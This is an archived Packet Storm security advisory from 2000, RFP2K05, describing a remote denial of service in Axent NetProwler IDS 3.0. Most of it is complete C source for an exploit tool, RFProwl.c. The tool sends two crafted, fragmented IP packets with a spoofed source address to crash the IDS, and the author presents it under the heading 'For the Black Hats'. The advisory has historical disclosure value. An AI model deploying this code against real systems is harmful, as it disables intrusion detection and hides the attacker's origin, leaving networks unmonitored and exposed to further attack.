RFP2K05.txt

2000-05-19T00:00:00
ID PACKETSTORM:21872
Type packetstorm
Reporter rain forest puppy
Modified 2000-05-19T00:00:00

Description

                                        
                                            `  
  
---------- Forwarded message ----------  
Date: Thu, 18 May 2000 22:31:58 -0500 (CDT)  
From: rain forest puppy <rfp@wiretrip.net>  
To: vacuum@technotronic.com  
Subject: RFP2K05: NetProwler vs. RFProwler  
  
  
---/ RFP2K05 /----------------------------/ rfp.labs / wiretrip /---------  
  
NetProwler vs. RFProwler  
Remote denial of service in Axent NetProwler  
  
------------------------------------/ rain forest puppy / rfp@wiretrip.net  
  
Table of contents:  
  
-/ 1 / For the Black Hats  
-/ 2 / For the White Hats  
-/ 3 / OMG! Look! It's not Perl!  
  
  
--/ 1 / For the Black Hats /----------------------------------------------  
  
The attached demonstration dribbles two fragmented IP packets to an IP  
address which is profiled by NetProwler IDS version 3.0. The result is  
that NetProwler chokes, dropping into a lovely Dr. Watson error message.   
Note that this was tested with an older version (3.0), since Axent hasn't  
sent me an evaluation key (I requested it over 11 days ago) for the latest  
version downloadable from the web. Also note that NetProwler needs to be  
profiling the FTP service on the victim for this to be effective.  
  
This was found using Dug Song/Anzen's awesome Fragrouter program.  
http://www.anzen.com/research/nidsbench/  
  
Also, NetProwler stores incoming alert information in a Jet .mdb. I  
suggest you take a look at RFP2K04, and consider the implications. ;)  
  
  
  
--/ 2 / For the White Hats /----------------------------------------------  
  
As I mentioned above, this is for version 3.0. Axent was contacted on  
Monday, but they never responded. So after a small 'industry-standard'  
wait, I have chosen to release this.   
  
  
  
--/ 3 / OMG! Look! It's not Perl! /---------------------------------------  
  
  
  
/* RFProwl.c - rain forest puppy / wiretrip / rfp@wiretrip.net  
  
Kills NetProwler IDS version 3.0  
  
You need libnet installed. It's available from  
www.packetfactory.net. Acks to route.  
  
Only tested on RH 6.x Linux. To compile:  
gcc RFProwl.c -lnet -o RFProwl   
  
Plus, make sure your architecture is defined below: */  
  
#define LIBNET_LIL_ENDIAN 1  
#undef LIBNET_BIG_ENDIAN 1  
  
#include <libnet.h>  
  
/* it's just much easier to code in the packet frags we want. :) */  
  
char pack1[]="\x45\x00"  
"\x00\x24\x08\xb9\x00\x03\x3e\x06\x96\xf8\x0a\x09\x65\x0d\x0a\x09"  
"\x64\x01\x04\x02\x08\x0a\x00\x26\xcd\x35\x00\x00\x00\x00\x01\x02"  
"\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";  
  
char pack2[]="\x45\x00"  
"\x00\x2c\x08\xbf\x20\x00\x3e\x06\x76\xed\x0a\x09\x65\x0d\x0a\x09"  
"\x64\x01\x04\x08\x00\x15\xa7\xe4\x00\x48\x00\x00\x00\x00\xa0\x02"  
"\x7d\x78\x72\x9d\x00\x00\x02\x04\x05\xb4\x00\x00";  
  
int main(int argc, char **argv) {  
int sock, c;  
u_long src_ip, dst_ip;  
  
printf("RFProwl - rain forest puppy / wiretrip\n");  
  
if(argc<3){  
printf("Usage: RFProwl <profiled IP/destination> <src IP(fake)>\n");  
exit(EXIT_FAILURE);}  
  
dst_ip=inet_addr(argv[1]);  
src_ip=inet_addr(argv[2]);  
  
memcpy(pack1+16,&dst_ip,4);  
memcpy(pack2+16,&dst_ip,4);  
memcpy(pack1+12,&src_ip,4);  
memcpy(pack1+12,&src_ip,4);  
  
sock = open_raw_sock(IPPROTO_RAW);  
if (sock == -1){  
perror("Socket problems: ");  
exit(EXIT_FAILURE);}  
  
c = write_ip(sock, pack1, 46);  
if (c < 46) printf("Write_ip #1 choked\n");  
  
c = write_ip(sock, pack2, 46);  
if (c < 46) printf("Write_ip #2 choked\n");  
  
printf("Packets sent\n");  
  
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);}  
  
  
  
  
----/ acks /--------------------------------------------------------------  
  
eEye, Attrition, w00w00, ADM, Technotronic, USSR, Packetfactory.net  
  
------------------------------------/ rain forest puppy / rfp@wiretrip.net  
  
Since when has TUCOWS become a TLD registrar?!?  
  
---/ RFP2K05 /----------------------------/ rfp.labs / wiretrip /---------  
  
  
  
`